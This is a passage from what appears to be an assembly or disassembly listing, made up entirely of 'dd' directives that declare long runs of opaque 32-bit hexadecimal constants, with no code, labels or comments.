		dd 0F7D3BF24h, 3B7EFE5Ch, 189BFCE8h, 17713D4Dh,	0CBABDC18h
		dd 7EEED449h, 90A7E06Bh, 3C0C731h, 0F9AB6473h, 0FAA7A65Ah
		dd 714F4A5Ah, 8B1D43h, 9D6E34DCh, 94F5E860h, 0C1A28855h
		dd 0DD369CC6h, 37ED6D66h, 0F4D5F24Dh, 64D7B212h, 8D8067AAh
		dd 0E75E08E4h, 0EBEB448h, 0B45D5756h, 1D26BB5Bh, 0DE056433h
		dd 839AAA55h, 7AC4ACD2h, 0CDB1D415h, 22F5091Dh,	8F99B44Eh
		dd 3E025989h, 0D5E7C759h, 3797CF9Ah, 0AAB77026h, 8EE03C26h
		dd 9635F77Bh, 0BED0DBD4h, 67E60AA8h, 0FCADDA81h, 3666A6E4h
		dd 81341BFEh, 0EE8F86F3h, 6D76FDD1h, 1AC8F042h,	0C61F54BAh
		dd 0E19D19FEh, 4A24FCF2h, 449FFBABh, 0B6DEF9C7h, 538880AEh
		dd 0A1F89712h, 0C1F2A2FDh, 13550ACCh, 0BB753D2Dh, 17E21F73h
		dd 435652A9h, 2F04ACCDh, 6FEAA0ACh, 0D228DCD7h,	839E32AEh
		dd 0C369B065h, 0F17CE15h, 4E2545E3h, 767F563Dh,	2475E56Fh
		dd 3F186810h, 150A16ACh, 0E3A8543Ah, 199E9818h,	37028A3Bh
		dd 0CB4E5A8Eh, 0DD00DB06h, 0EA302D1Dh, 0FBC6CFFDh, 92B6FC0Fh
		dd 5B5EFCCh, 0B15629Bh,	91095BB7h, 85A188A4h, 0E20BDBB7h
		dd 0C351D728h, 0C08D496Eh, 586249Fh, 0C6CDB19Eh, 3FD939CBh
		dd 0B4EA4C30h, 0E873CF33h, 733667D9h, 3FDDC357h, 0B9CBF92Bh
		dd 0D733DC08h, 8D3F93CEh, 2200AEF6h, 0F587C1F1h, 4E379A7Ah
		dd 2F947CB9h, 46395D5Dh, 0AF8EDD9Ch, 26FA4D9Dh,	4064F7A2h
		dd 0EC17D040h, 0DB6A638Ah, 44D5522Bh, 1B75D81Eh, 0BC28E0E8h
		dd 0E52BF733h, 0F1F56E07h, 6B5BDA54h, 68C4056Dh, 3E8CC325h
		dd 0BB02DD7Ch, 0B03C5C8Fh, 0BE09E556h, 0EF699AE1h, 45DD6C8Dh
		dd 81F7AA4h, 483F7B88h,	77CCDC44h, 0C8C4DE21h, 981AF69Bh
		dd 0DD46C695h, 44EE0870h, 8D8F62A7h, 77D6040h, 4AB6FB2Dh
		dd 0A191F94Eh, 6BE43B6h, 0A3696AF2h, 391982A6h,	86BA9C7Dh
		dd 0BB1CEF8Ah, 17F353B6h, 0EC4217DEh, 0D5408EF6h, 1254C3F7h
		dd 0B41C5C2Dh, 154D6C7Eh, 99BABD1Bh, 27735951h,	5C6C8A4Eh
		dd 0FB1E5C0Bh, 0CBFE0F8Ah, 0C15D649h, 7B16AE9Ch, 2DB85011h
		dd 3AAEC55Bh, 4D723E08h, 3D512631h, 0D81DF98Ah,	7ED04C1Dh
		dd 4D959FE9h, 9FB1E717h, 26E42F32h, 25C415E3h, 45669C29h
		dd 0A34BDE17h, 68C7E128h, 0D27FF4Dh, 475A67AAh,	0CAD300B1h
		dd 0A4FFA655h, 8322D04Fh, 3DBF5232h, 0FAD2FB28h, 7B1D144h
		dd 0DA32BFAEh, 58FABD9Fh, 0F587EE36h, 2C749CCFh, 785A753Fh
		dd 74FC745Ch, 0FA86489Fh, 92A039EEh, 0F8D6B96Ah, 2B251AF5h
		dd 8C647815h, 0B9B9E2Eh, 0B53953FCh, 5DDC29DFh,	271C32Fh
		dd 0A253AC6Eh, 5131EB68h, 9F600A5Bh, 0CEF14464h, 0BF4155E2h
		dd 0CFA330Fh, 3DDBECEh,	5F800FBCh, 0DF738DC1h, 0F19B0BB5h
		dd 37292E2Fh, 3C57C12Dh, 0E10F99D0h, 54F569F3h,	2105DABh
		dd 6CAF6906h, 8ED8ABCDh, 59D099D9h, 8685BDDAh, 0FE25BF76h
		dd 6078EED6h, 5AACDEBDh, 0C29804E9h, 556C33F8h,	0E7DB58DFh
		dd 0F6FDF701h, 0B1E5DA6Ch, 0D11F7C95h, 0AC750F32h, 0AF22D876h
		dd 3B9C8721h, 0B061BD96h, 700CEDF9h, 94E7F8F5h,	7EFA5F0Dh
		dd 516A4771h, 3712FDA2h, 0E093EEC3h, 479443ABh,	0E36134D1h
		dd 0D105486Ah, 595241C6h, 18F59BABh, 6E16772Dh,	0AC337E8Dh
		dd 2D638B0Ah, 0EED77765h, 0EFAC5A36h, 0CB40DBFh, 2AD0999Bh
		dd 896D4F94h, 0DCCF357Eh, 0A155A779h, 0C5A4EF1Ch, 0B5109DA0h
		dd 213CFB91h, 0ED546692h, 0D1A4D46Eh, 0FF5BD726h, 0F7F3E882h
		dd 0BB3A7F81h, 0EA7D6D5Eh, 0EEBFD572h, 0F401B75Ah, 47178FC9h
		dd 0CD6B87D4h, 54490DC7h, 87747304h, 5C44B651h,	0E4BABFF9h
		dd 69B16045h, 1DDCE16Ah, 0FB5672A0h, 0A3D87606h, 56CBB7Ch
		dd 4FCB443Fh, 0B0442AFBh, 1C1FE4A2h, 5C9CE5F9h,	0E07D7451h
		dd 41879459h, 1428FBCDh, 14C16B93h, 531FE2DEh, 0A1514072h
		dd 4635A32Eh, 1C3815BCh, 9A968A12h, 0BB241C96h,	574233C8h
		dd 0D309CAE3h, 8902B12Fh, 0F0B5C377h, 30BF94B8h, 3E8EE7ADh
		dd 0E7FC0B3h, 0E776501h, 891A95D1h, 0CDDF21D3h,	0BDA6E1C3h
		dd 3EFFE2CEh, 0EE2AD03Eh, 713AD6F8h, 1D95A0C3h,	0CE967479h
		dd 74BBFE54h, 7984C005h, 9ACDDCB5h, 29932C9Ah, 979E367Dh
		dd 0EF44C4C2h, 0FD89B3Ch, 0C1C148B0h, 0C1F49A17h, 9B5DDE35h
		dd 48D542B7h, 51FBE828h, 40774D6Bh, 0E1928DF4h,	892EC91Eh
		dd 70FCC4BAh, 74F279A0h, 0E9DA4789h, 9C06D67h, 760A059Ch
		dd 794E49CAh, 8F4B4955h, 2D037204h, 0ED5B9DF1h,	0CE7187B0h
		dd 2DC175E7h, 7425CEE5h, 5E4F96BBh, 3E3081FEh, 8F5A63AEh
		dd 0AB12EE6h, 0F0012293h, 0CF2E5778h, 0C3FE5FEh, 7DED3DE4h
		dd 0FC3A5D0h, 0C922CAC7h, 75BCDC57h, 0A26537CBh, 0BA424ABDh
		dd 7469C3B1h, 0E70ADB45h, 19F61700h, 767F6D64h,	0F6139070h
		dd 2A47D045h, 0C9779556h
		dd 0DBEF720Dh, 0FBBB8DAEh, 76E4EBC0h, 0E073BBCCh, 75B6BF1Ah
		dd 97551554h, 947A9B81h, 495F5339h, 3BD94EDFh, 0B2BA02CEh
		dd 53868623h, 0E05D7E5Ch, 89F03F92h, 0F8862DAFh, 78E8B83Eh
		dd 336E07E5h, 16B69C7Fh, 0EEF09D9Eh, 0B5559DB6h, 70FC7911h
		dd 0C82A0119h, 2189B411h, 0FC6992ADh, 51FC97BDh, 0AB91FA6Eh
		dd 0ADC6E832h, 0AB79E98Dh, 0B391D5CDh, 0C7F66C68h, 0AC38D246h
		dd 2180267Ch, 0FBAC7750h, 909673E2h, 0A66D4744h, 0D1122EF2h
		dd 0FCB7A9A2h, 1C0BA828h, 2E392682h, 1C7CCFF6h,	0B400B05h
		dd 2BE550FEh, 8239A93Ah, 751B0634h, 0CEB73448h,	8215F46h
		dd 8E5DD484h, 0ACD5D324h, 0AAA48FA0h, 0AAFB72CAh, 3D65398Bh
		dd 0E0AB17FAh, 0A79DB4ECh, 0F23E71A6h, 22F9D132h, 703F0D30h
		dd 7E8C8E54h, 222832BCh, 0F83EA03Bh, 763A8761h,	0B613ABBDh
		dd 4E39DEF2h, 0CC8B17B4h, 41E7E55h, 8755BF39h, 3D4D77AFh
		dd 3DB5B46Fh, 0BBDEE6DBh, 5AAF6306h, 3AA03672h,	0A7427337h
		dd 0A45EFA39h, 0C36A32B4h, 0A2C3170Fh, 3815F9CEh, 0E93BC5h
		dd 0EF21F7Eh, 97D8E423h, 8F110A5Ah, 2363513Eh, 0A0503137h
		dd 4BEE67A0h, 0E6B150D8h, 0D139E9AAh, 6D3DD44Ah, 72AB5C80h
		dd 63E5ED59h, 0CF420FC6h, 8AF55855h, 38341DE1h,	0C13394D3h
		dd 0DD17E986h, 3124EFABh, 0F4D1F453h, 14046F6Ah, 715C9C31h
		dd 0F423EFDDh, 0FEBE163Ah, 194A96A2h, 82E7C73Ah, 8F4C2FC3h
		dd 359769BEh, 42E18FD9h, 0F0E03A90h, 3AE53DFAh,	0E6847DB9h
		dd 1F5E8752h, 1FE1A97Eh, 6E7FFC6Eh, 22CD7477h, 5CC97DFCh
		dd 0DC0F9765h, 358DB91Eh, 88C5DABBh, 0BF7AF6DAh, 0AEAE7791h
		dd 5669BC09h, 55243BE1h, 157C74B4h, 7615BDCAh, 112C1576h
		dd 0D7C0051Bh, 157546E3h, 5B41B3A1h, 9FBF2711h,	0EDE53372h
		dd 0B7D906DBh, 8AB56F80h, 3E3CD4E1h, 0C7D9C821h, 0B07C113Fh
		dd 0D92E1CFAh, 732F4F22h, 3D3802EEh, 0C39C9279h, 9D387259h
		dd 786419D0h, 0D025FF7Dh, 3025B17Dh, 0AF9FE173h, 306031F5h
		dd 0CFF8F15Eh, 0CC7EA05Dh, 0FD24A00Ah, 895F491Bh, 898FE70Dh
		dd 0D140B228h, 1B2B1D1Eh, 0BD5255B0h, 0AF2E2CC4h, 3914E3E3h
		dd 3E522159h, 0F94D3F1Bh, 6905EA74h, 7BD98E49h,	0C206352Fh
		dd 0ADD29ACAh, 0F0AF15h, 2A803978h, 0EB853AEDh,	86E72BD3h
		dd 93AE9647h, 0AA777BC0h, 555DD9A8h, 2B347A28h,	4A71C904h
		dd 9AFE4B3Fh, 8A0ACA5Ah, 35DE57D7h, 0DDCB95A3h,	0CCC5FB65h
		dd 0D57C5BA3h, 13BC11C5h, 9C41888h, 3C3D86D8h, 0F780B956h
		dd 0DF7E8AC6h, 6D5E4AADh, 0B75A3757h, 79154C8h,	3DF16B46h
		dd 0F83B51D6h, 0E1854761h, 2E3E5AB1h, 2FBB550Dh, 0F835290h
		dd 0E07A3FB7h, 0BDB6E38Bh, 3964B90Fh, 0A3DFB6ACh, 424FA635h
		dd 0F0942BBFh, 98D328FBh, 7A783C17h, 6F6EB0FCh,	93671688h
		dd 0DC108561h, 3F98BDDCh, 0C7D2DC7Ch, 57804508h, 0CDA8E134h
		dd 9545165Fh, 0C21C0873h, 0C6360768h, 0B815C76Fh, 12A57C22h
		dd 0AB6924B3h, 85008513h, 995455CFh, 0CF7DE7E5h, 107D66Fh
		dd 736216D1h, 7C909423h, 0D557ADA4h, 0CD2DBFB0h, 1352BD10h
		dd 46B5E63Bh, 17725D48h, 90293EDDh, 862F76EEh, 91AD87E5h
		dd 0D435EE6Eh, 0B21C7E29h, 985CA2AFh, 5389ED58h, 9B933C35h
		dd 0C185B6ABh, 0CE14F0A6h, 58323BC3h, 18131215h, 875C7F20h
		dd 0DEE97690h, 9D59C46Ch, 3A531605h, 0E13567E0h, 2A804225h
		dd 9C8D6A82h, 0F0792567h, 0DD0AA088h, 0B9A8EF4Ch, 0F03F2AC9h
		dd 62DC82F0h, 68CD3BF6h, 0A8BEA4FAh, 8A81544Bh,	0B2ABCDECh
		dd 7DD4F6EFh, 0BB3DE68Eh, 45775327h, 0DBF828C8h, 9A018870h
		dd 96F2C0FAh, 1336404Ch, 776D1DBBh, 0A3F1F9FBh,	83DDE399h
		dd 5D9BE267h, 736F198Eh, 39756069h, 0B25A408Ah,	4F3B6957h
		dd 0B6CE9DC2h, 0A2A53C81h, 9668F241h, 0EB6ACE76h, 8CDDEAF2h
		dd 0EF5AA576h, 11D36F4h, 3E65C6ECh, 9A8DA4DAh, 0B722358Bh
		dd 0CAEA9BB3h, 0EB5C637Ah, 176072A2h, 0FF5A1858h, 941B19F4h
		dd 80DECF04h, 481903F1h, 0B4BFA21Ch, 0AABFA3A3h, 0D85146A7h
		dd 0DCEE533Bh, 92A04A16h, 601AE1AAh, 60ABEE82h,	7BAEEBFh
		dd 0A3715B54h, 0AA8D7F11h, 300AC2FBh, 0A81416DBh, 0B81EBACDh
		dd 0A573F5A7h, 0CE793DBFh, 0D7125A66h, 437686A2h, 39B876A3h
		dd 1762A5F3h, 892DD86Ch, 0F325B4A0h, 0F97F9274h, 54E1FF55h
		dd 0A668DD4Fh, 3D26AA76h, 51D3FABEh, 0AA7AFBECh, 0AD474D3Fh
		dd 9244A668h, 0F7AB174Ch, 59E800A7h, 0DC447278h, 0CE3D82A1h
		dd 0DC21085Dh, 0FDEFB809h, 3DFCE556h, 0CA027AB3h, 361FA56Ch
		dd 0EAA5EF13h, 3A0EF38Bh, 0C60EECBCh, 4C3FBC56h, 5D973CADh
		dd 0A32511ECh, 0C5578AB5h, 0F07317A6h, 0A5437A74h, 4F313E7Eh
		dd 702A16D6h, 83D87122h, 0ABEEBDA3h, 79EED05Eh,	9A12F973h
		dd 2BCC25E0h, 0B62EFF79h, 0CA01CDE0h, 76BAA7C2h, 0DE08A6BAh
		dd 39D335E7h, 0B44FBA9Ah, 36E85834h, 0B9B917E9h, 1BBC5D16h
		dd 0FEFBA5ADh, 5907B821h, 0E671EF25h, 1A487978h, 8BA1DD37h
		dd 97E10584h, 808B81FCh, 3BE0E92Ch, 240E9EBAh, 0B2BF6A65h
		dd 0FA16ECECh, 0EDFC6022h, 80282032h, 347D8DB6h, 6F47EA45h
		dd 0FB96F44Ah, 0DD7FE786h, 0B6A119B4h, 0D083A2EAh, 12D01C94h
		dd 0AB1D10DEh, 5CB1A2A8h, 0E14E6643h, 57541E67h, 54CD5258h
		dd 0CFB2190Fh, 0EF2EF573h, 0C2F24113h, 0BAAC8889h, 237CD160h
		dd 0B95C5C48h, 0BDF37434h, 5C014E0Fh, 0EE4BBEE9h, 7D882751h
		dd 6874ABF0h, 0B8368A6Dh, 70E3286Fh, 8F52D91Eh,	743203CEh
		dd 0F0269776h, 9817DAF5h, 52F2576Dh, 0E3E276C5h, 0A77AC792h
		dd 36D22A0Ah, 0E2D15609h, 0FA387DEAh, 9E7A1F8Dh, 89F1980Dh
		dd 4EF07D4Bh, 262E52F1h, 0A13B7C08h, 3CBF6002h,	1AAAABF5h
		dd 289A4CC6h, 0BAAF07BEh, 20E95D89h, 637263B0h,	0DE7D01FBh
		dd 857C5278h, 244D7DF8h, 0FAF1ED28h, 0E798C75Fh, 0EF10362Ah
		dd 5D667398h, 155EB5F1h, 4DC6E52Dh, 5F53D28Fh, 0F445C4D6h
		dd 9AAC1BB7h, 0A1D59088h, 0D36E9586h, 250E7049h, 83C21CA0h
		dd 0EBDB06B7h, 8A02E558h, 0C5DFADD6h, 0C5ADE60Eh, 16D74156h
		dd 0D2661C0Dh, 6DBFF2AEh, 0D83E5EA9h, 6D2BFDD7h, 60C85D28h
		dd 6E80E862h, 0DC08A36Bh, 92A859C5h, 210D7E93h,	6D043D35h
		dd 0BF527CCBh, 0DC02497Eh, 1BF4D153h, 0B5D87979h, 1F7E6267h
		dd 52159AA8h, 15651FC1h, 0FBFFB5Eh, 92CC5585h, 22EA4D50h
		dd 0D7504505h, 1657545Dh, 8A3A8934h, 0D5B7D8C4h, 0C79B048h
		dd 64EE7640h, 0AE4FEE76h, 0F2EA0B00h, 0A756187Eh, 0A5762476h
		dd 0D5C0B7E5h, 775250BFh, 0ED1B15E2h, 0F5FEE54Eh, 0F442DD78h
		dd 0A5ED330Dh, 6B982E3Dh, 0CBF54B57h, 0D571517Eh, 288DD238h
		dd 0D5FBCF6Eh, 0D349570h, 35A3414Ch, 0E47DA2DAh, 0BF3E25D3h
		dd 6B86DEEAh, 4C553596h, 7AC6BBE3h, 659FE9CEh, 249BA861h
		dd 0B47F4417h, 5BC81B65h, 0EEB26B31h, 0A2EA4CFAh, 2F15BC3Bh
		dd 0B8747962h, 0ABD65524h, 0D4BF7DC2h, 0FC6FED8Dh, 8B4FE594h
		dd 170F6C31h, 152D3727h, 0AAD5C448h, 0B22E0A8Ah, 4167A9FDh
		dd 749BE58Ah, 9C3B64D5h, 8CFF1BB4h, 0B2687B16h,	71DFED7Ch
		dd 7BBB1863h, 0E6D9E85Bh, 0F85C5766h, 40DEEF21h, 0EE438AB9h
		dd 0ABC6DE7Eh, 0E5C156CDh, 226BB6F3h, 66D7F743h, 6B47F6F2h
		dd 257A781Fh, 29BE8784h, 0D2BBC305h, 0BCFC8E4Fh, 174FB30Eh
		dd 6195F976h, 0CD801CA1h, 0BB8955Bh, 0A5BA9204h, 0E9BFD0Ah
		dd 0DFEB7DDFh, 4CBA7769h
		dd 0ADEF6B5Fh, 0FE8DDE57h, 37F50B90h, 0F32FF365h, 0B7BC7BB2h
		dd 64529E36h, 0C390D509h, 0DED97CEEh, 303868C1h, 41A1BFD1h
		dd 0E33B2D20h, 4CBB4943h, 7E3F125Ch, 91EDC28h, 37F3AD03h
		dd 74F37C4Eh, 0BB8E5D46h, 6FE6F4C5h, 0F9D2A0E6h, 2AB6414Bh
		dd 28EB2591h, 9AA30950h, 2DA76BD9h, 95D1AA1Eh, 71776FEh
		dd 0DC48E9CFh, 7E27EFC7h, 0FAD1348Ah, 36DAB67Ah, 2745479Ah
		dd 27F9758Bh, 5D0A52BDh, 4C26CD05h, 0D5DEB625h,	0ED2CF1E3h
		dd 9E5DD895h, 0EB9B53DFh, 0E75DA062h, 3BC2F9BBh, 52169EF3h
		dd 2DFBED28h, 2EF2F625h, 0BD46F5F2h, 0BBAF7952h, 0F9A034C0h
		dd 9FABC848h, 0A5853BA3h, 31DA4F3Dh, 0F9438584h, 0B6B3ADBEh
		dd 0D95BB1ADh, 6E2C9373h, 0D8233334h, 0AA036637h, 0AEF68E6h
		dd 5976B63Eh, 4B1E0698h, 0D4FB65A6h, 0E2A07E65h, 0BF399D59h
		dd 45740CF3h, 6DBD13DFh, 0AB2FDF6Ah, 0A1FB5D10h, 9355B5C7h
		dd 91CC0682h, 7B7AF13h,	5CFA0F7Fh, 8DBF073Dh, 1D1A9706h
		dd 52687571h, 2ABA98DDh, 0BB2CD25Fh, 62C43E32h,	5D4466E3h
		dd 4DC4CD91h, 0C6AB16F6h, 2EE1DB0Fh, 0E40239B5h, 7F8B99A0h
		dd 7C11FEFEh, 0DA249560h, 4EB75CECh, 0A1E55FCDh, 46E7496Ch
		dd 66EA5FB4h, 3F8B1768h, 0F0328AAh, 7EE39E47h, 0FEA8F2C2h
		dd 3779D702h, 0FD56ED16h, 9B4F07DEh, 0B4D1D146h, 736FF58Eh
		dd 0E71C166Ch, 9EBF04ACh, 0B0D209AEh, 5280DF45h, 0DECC46B3h
		dd 0ECE56B97h, 6D30D79Fh, 0B2503C05h, 488C74B5h, 46F0EC30h
		dd 0ECEC6FAFh, 2B39BB8Fh, 0D2D0843Dh, 38FE794Ah, 0ACB9D5CEh
		dd 7891B56Bh, 5EAEF8Dh,	5F30C3F5h, 1287A031h, 0AF019B91h
		dd 4896E2EDh, 26CCB2AAh, 0EC229540h, 6528F654h,	0F280B1B7h
		dd 7F0E271Dh, 0BA388F62h, 6A8D3ECAh, 2AD5A727h,	0AF68D5FEh
		dd 0EF3BD7D2h, 0CE7BD8E9h, 0A16B5AFCh, 0A84CB422h, 7B6A6F0Ch
		dd 76B56CD5h, 7E15F1C2h, 0F6909989h, 6FE0EC7h, 0F03EB7A9h
		dd 0FDEAFCE4h, 177BA83Eh, 0FCFF50FCh, 43937220h, 0E9B6B098h
		dd 0F5FC3ACFh, 0BB2D62FEh, 7E9B0F3Bh, 0BBD89EA9h, 86A66E4Ah
		dd 27F4A9C4h, 0C6942AADh, 75F8C303h, 663BC4BBh,	0DCF25CD7h
		dd 4C0FA77Eh, 1C2C3099h, 124AEA0Ah, 9F2B04A3h, 998B0D68h
		dd 49ACB91Ah, 0CE58A3C2h, 5D8501ADh, 0B2240576h, 7FCB13A6h
		dd 0A4155900h, 80D62AC1h, 691E5A9Ah, 0D85F022Bh, 31D4B4Fh
		dd 0A04A489Ch, 0F8E526BDh, 9C0B3F2Dh, 5976B058h, 0CED9B02Dh
		dd 380E5A6Eh, 0FC0FFFA6h, 76B6735Dh, 536846E1h,	59E861D5h
		dd 0D621B464h, 0A22DECCFh, 0DCDE4A9Dh, 0E2E706ACh, 5EDEBC8Fh
		dd 12DCF52h, 85561BFBh,	0AB230FDBh, 1481D64Ah, 761B103Ah
		dd 0A2AB576Ah, 85854BB9h, 91B4E8A2h, 0A29FCF91h, 1B806CF2h
		dd 0D8A5DC9Dh, 7D6ADA7Bh, 8F17090Eh, 0F3F31D14h, 2EE9F3C7h
		dd 9F364CF0h, 5C92AB2Ch, 0B87E4DDEh, 0FE5DBA7Fh, 0F30B1F47h
		dd 0D47EA1Bh, 0B60BC9AAh, 0C88A9ACDh, 0C21BD9B6h, 7AAA2719h
		dd 492EFDE5h, 0CD4CC0B9h, 527349A4h, 1DEEE655h,	2F028F45h
		dd 84E6EB2Fh, 92ADDCDDh, 6B448D5Eh, 6D8512EEh, 0F51DB716h
		dd 8019E10Ah, 5321B8D2h, 511DC7h, 0E56F3BBAh, 0C9F2F0DAh
		dd 0B64F55DFh, 1ED6BC4Dh, 0BE828CB8h, 0B2F77C3Ah, 9CF1C8AEh
		dd 0E1E15A3Eh, 93AC4FCFh, 0F84FF80Eh, 12A14846h, 0B9578ACAh
		dd 7B96C3F1h, 0F1434561h, 368DF561h, 1E94F162h,	1308B5AEh
		dd 71502AF8h, 0C1CDFE06h, 65732CEBh, 0B6C0F05Dh, 1B469DA4h
		dd 0F1C3F8B5h, 4F8FC321h, 1FBC026Eh, 2AC781EFh,	39BC2854h
		dd 8AED929Ah, 2AFDEBBBh, 0CDA7B3AEh, 7316BB2h, 0CDD5E5FCh
		dd 8523EB96h, 6C20E3BAh, 407BAC2Ah, 0F0D8273Ah,	48AAFED2h
		dd 7763F8F6h, 2AA7AABFh, 6D1EB272h, 2E44D273h, 9B15EF9Dh
		dd 0B8FABB51h, 0BEE51BCEh, 0F4981FFAh, 4761337Dh, 17E31F34h
		dd 9DD36FADh, 0ADE177AFh, 0F366CEC1h, 8FD9CF2Ah, 9EC877BAh
		dd 7ABAB8BFh, 845D043Eh, 47A1AA47h, 8EB4C6E5h, 0E72259DCh
		dd 32EB202Ch, 0A89205CFh, 0B69F1BECh, 0A2EB84B7h, 2A0213CAh
		dd 0AE704567h, 0C899038Bh, 0DB312523h, 0C462C351h, 0D1CCDAC5h
		dd 20385998h, 0DC0C4BFAh, 0A25DAEFh, 0E18D38FFh, 0ABA16971h
		dd 7AA6C783h, 0BF8B7C5Dh, 0A5CB87E1h, 0A213D56Dh, 0F3838915h
		dd 0AEAA2FA1h, 85FFA3C1h, 59EC7F6Eh, 0EAA91E28h, 40D2836h
		dd 0D0BEDC1Fh, 76F54B8Bh, 9FEC7367h, 0EB8781E0h, 0C4BDF02Eh
		dd 0EDFDADB6h, 2D777D46h, 0EFEF5BBEh, 0BA726F08h, 23867B06h
		dd 0FB65C197h, 0D8DA39F5h, 0E7FDF052h, 768AE0BDh, 1E528EB7h
		dd 46C95DDEh, 0AE3A93DEh, 47C5C5F3h, 980D805h, 0F02957Eh
		dd 43039B87h, 61E0C5CDh, 772BCDFCh, 1E8C4EC9h, 0CF952834h
		dd 97E65FD8h, 450DBA5Bh, 0C68154BBh, 8EAEA8EDh,	163E8D55h
		dd 0B3EBD6DCh, 68B6AF1Dh, 3D982929h, 562E7C57h,	7E02C226h
		dd 0CAEE02D3h, 2BFBF971h, 0AA8A2F40h, 92A4EF25h, 3B5F25AFh
		dd 0E0782A1Fh, 0BA9ED97Ch, 0B8891471h, 60F44456h, 757B56B4h
		dd 82779E69h, 7E0F03CEh, 0A7692774h, 62371A2Eh,	3CCB36E9h
		dd 8E5A899Eh, 0E8E36C11h, 15373668h, 6F8469E6h,	55B38BFAh
		dd 560F9C79h, 0F8B134F9h, 134630E5h, 0B6D0D5F5h, 0D1BA0CBDh
		dd 7C4C15E1h, 0BE89E56h, 0FE81CF3h, 7F350189h, 39E35A25h
		dd 75165803h, 933275h, 0B64FB74h, 0F4456DA5h, 0F9CDAF38h
		dd 0E00D0F03h, 787E9DDFh, 6507666Ah, 0DF6476E3h, 6A8FE2CDh
		dd 7E1C91C5h, 0F1DB0FC7h, 938C620Fh, 8934BD37h,	9C7B0F67h
		dd 0C089FF5Fh, 0E96EBC4Bh, 0AD032049h, 85C3E7DAh, 0D2D5294Ch
		dd 16281F5Ah, 542972C7h, 0FE9F7667h, 0CDD04C0h,	1F88D8E4h
		dd 0C4C2152Ah, 0C0E0B041h, 0FDE9D19Ch, 0DB75F12Eh, 3720CEA2h
		dd 0C7BE76BCh, 48C2A584h, 0EF4EE68Ch, 1176A618h, 632740Ch
		dd 247C3EC9h, 266348EAh, 0E066AF14h, 0B5B946AEh, 280E81B3h
		dd 9CCFAF95h, 87B5BCD8h, 0B1CDF0EEh, 5038A349h,	5A01762Bh
		dd 0D685AEE1h, 8CC6B606h, 9873A69Ch, 0DCDB35D7h, 0D97736ACh
		dd 0F5798863h, 35C5B0Fh, 8DD6BE85h, 4D168B9Eh, 7DE4A93Bh
		dd 0A99FDF0h, 169F6C15h, 786D28Bh, 2F863ADEh, 4DFCB369h
		dd 0E38EBF8Dh, 51183AE9h, 6736C8E7h, 41E7B7C9h,	1F83E16Fh
		dd 53187E56h, 6A97CAAFh, 0C6FA1E87h, 0A37505EDh, 4E14636Dh
		dd 2AA63712h, 0C0B396E8h, 78D93B4Fh, 55FCCCBCh,	107BED1Dh
		dd 48056658h, 0D450DDC7h, 5487A3DDh, 23581472h,	76773B6Ah
		dd 0E1B92461h, 0FCC74758h, 73BE5945h, 4DE5EC2Dh, 80D635A4h
		dd 85E3BBAFh, 36C63BE9h, 22EE00EFh, 8D0ABF2Ch, 0BAE2CC22h
		dd 4E7F00AFh, 1D1AF56Dh, 46D107A7h, 635943CEh, 3C16C44h
		dd 0A519B843h, 40CFEF75h, 86E56C3Ch, 2A85C735h,	842AD20Fh
		dd 0A241699Ch, 1F1BDCA5h, 95E0CB75h, 0CF61926Fh, 20A802BDh
		dd 0D00A74A6h, 0F62DC5Dh, 4462E5A4h, 49C1B77Eh,	1F0316A0h
		dd 90F7FC0Bh, 5B7554E9h, 0ABDA8B7Dh, 0F9BB6AD4h, 9BCD0F57h
		dd 0B4BA2562h, 497ECB57h, 0E25087ABh, 0E5DFBE4Fh, 0A53395B9h
		dd 76593413h, 0C6384ECEh, 0A65F84D0h, 0E2596CAAh, 0E1F56BAh
		dd 0BD4101F7h, 21299E7Ah, 0D7726054h, 1ABA5A9Dh, 5073D447h
		dd 3FA3F5FDh, 0FDDF06F2h, 6C5072DAh, 4961FD6Ch,	676D4EE4h
		dd 0FC3F8DBh, 0BB35F784h, 1AA2F0A0h, 0C46C5BFEh, 0EABFBD0Fh
		dd 7A48F6A1h, 95668CAAh, 3D5EC96Dh, 44AA98B0h, 0DC11E7B3h
		dd 274B00DAh, 3DDBCF87h
		dd 3EFBC3CAh, 1D197CE8h, 0B5DB72CDh, 0ACBD72D9h, 9C5C85AEh
		dd 0D75279FDh, 7B75CFEFh, 2A28FD36h, 0DDFC25A8h, 0F6A7EA0Eh
		dd 0FF482AF9h, 0E552AFB0h, 0FA3A8E4h, 0C9F50F4Bh, 0D5C9C26Fh
		dd 0AAF3893Bh, 0AAF08B57h, 0A503A9E8h, 9E7BBCB4h, 2AA2DB37h
		dd 0AA27F2AAh, 0D6DED37Fh, 0E34C3011h, 0E138957Eh, 823C5735h
		dd 99BDAEBh, 1ABB32BAh,	67238397h, 611268C1h, 92E975A5h
		dd 0B69BBD33h, 2079B16Bh, 0E1F57DB5h, 0CAAE92E0h, 62A2C813h
		dd 0A2BBB9D2h, 2576588Ch, 4BAE4B21h, 0DB87A342h, 755E7F67h
		dd 7BF51ADFh, 74C19CCEh, 0A46D95DEh, 0FD93355Dh, 7FB8445h
		dd 5A31EA8Eh, 0ACA047B8h, 471F805Bh, 0E077C3F0h, 0BB90F908h
		dd 0FAF0E716h, 0BEC22F4h, 302AFC57h, 2369AE00h,	0A8487E7Dh
		dd 0D8853ACDh, 3B95D15Dh, 0EF38A824h, 0B9AC4B01h, 0AA16BA9Eh
		dd 1014E1D7h, 0B3798E6Fh, 15FAF8F4h, 0E9527D98h, 0E356FC80h
		dd 61CA3DB7h, 0A56EFB82h, 0B41BF891h, 0EC590BFEh, 0D125D2Ah
		dd 98B06371h, 23719DCBh, 0C98015F6h, 0DAA5FD66h, 0B780EEA6h
		dd 0B3F03F7Eh, 499FBFBDh, 0E2837850h, 0D2023B03h, 6EAF67A8h
		dd 0D21FFF2Fh, 7E40D3FEh, 22D0D383h, 0F9A7D352h, 6BF3D9D5h
		dd 4246667Dh, 4276C920h, 0C7C9AAA6h, 0DA2D4E2Eh, 567D0DA8h
		dd 21C89DEDh, 0F06E76F4h, 36857AB2h, 6728FAD3h,	751C7EC7h
		dd 9D75A779h, 2743B74Ch, 2BE175A9h, 84059BB7h, 40698CD5h
		dd 40A979F8h, 0B79AF668h, 0A93354ADh, 3D17DC4Bh, 451B8450h
		dd 0E6D90ECBh, 0EA6128E8h, 72ED2E1Eh, 0B8214AC0h, 634B1B1Dh
		dd 5A0AF897h, 0E2D17F27h, 7688B1EDh, 1ACB542Ah,	401A2720h
		dd 0BAF6DC57h, 0A1737168h, 0E2AC40FFh, 5DC313CEh, 0E96EA199h
		dd 76D19E34h, 39B1AB32h, 4F65FB73h, 36D3FC77h, 6F5C1F72h
